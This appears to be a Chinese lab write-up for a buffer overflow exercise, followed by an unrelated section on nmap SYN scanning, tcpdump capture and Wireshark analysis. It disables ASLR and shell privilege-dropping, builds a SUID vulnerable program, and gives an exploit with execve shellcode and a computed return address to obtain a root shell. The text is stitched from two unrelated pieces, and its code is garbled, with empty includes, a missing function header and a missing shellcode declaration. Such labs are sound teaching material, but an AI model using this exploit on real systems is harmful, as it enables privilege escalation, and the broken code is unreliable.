缓冲区溢出漏洞实验 一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备
系统用户名shiyanlou
实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西:
sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash:
三、实验步骤
3.1 初始设置
Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:
sudo sucd /binrm shln -s zsh shexit
3.2 shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
3.3 漏洞程序
把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include
#include
#include
{
char buffer[12];/* The following statement has a buffer overflow problem */
strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令如下:
sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include
#include
#include
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:
gdb stackdisass main
结果如图:
接下来的操作:
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)
现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x84\xd0\xff\xff
然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序exploit,再运行漏洞程序stack,观察结果:
Wireshark的使用 1.使用namp进行扫描
使用如下命令进行扫描:
nmap -sS 172.16.69.126
2. 使用tcpdump进行抓包
使用如下命令进行抓包,保存到target.cap文件中。
tcpdump dst host 192.168.1.123 -w ./tsrget.cap
dst
表示的是IP地址接收到的包,-w+文件名
表示将抓到的数据包保存到该文件中。
3.使用Wireshark分析数据包
使用wireshark打开数据包文件,如下图所示
tcpdump总的的输出格式为:系统时间 来源主机.端口 > 目标主机.端口 数据包参数。
在info中我们可以看到数据包都是SYN的,SYN(synchronous)是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。所以攻击机进行的是TCP SYN扫描。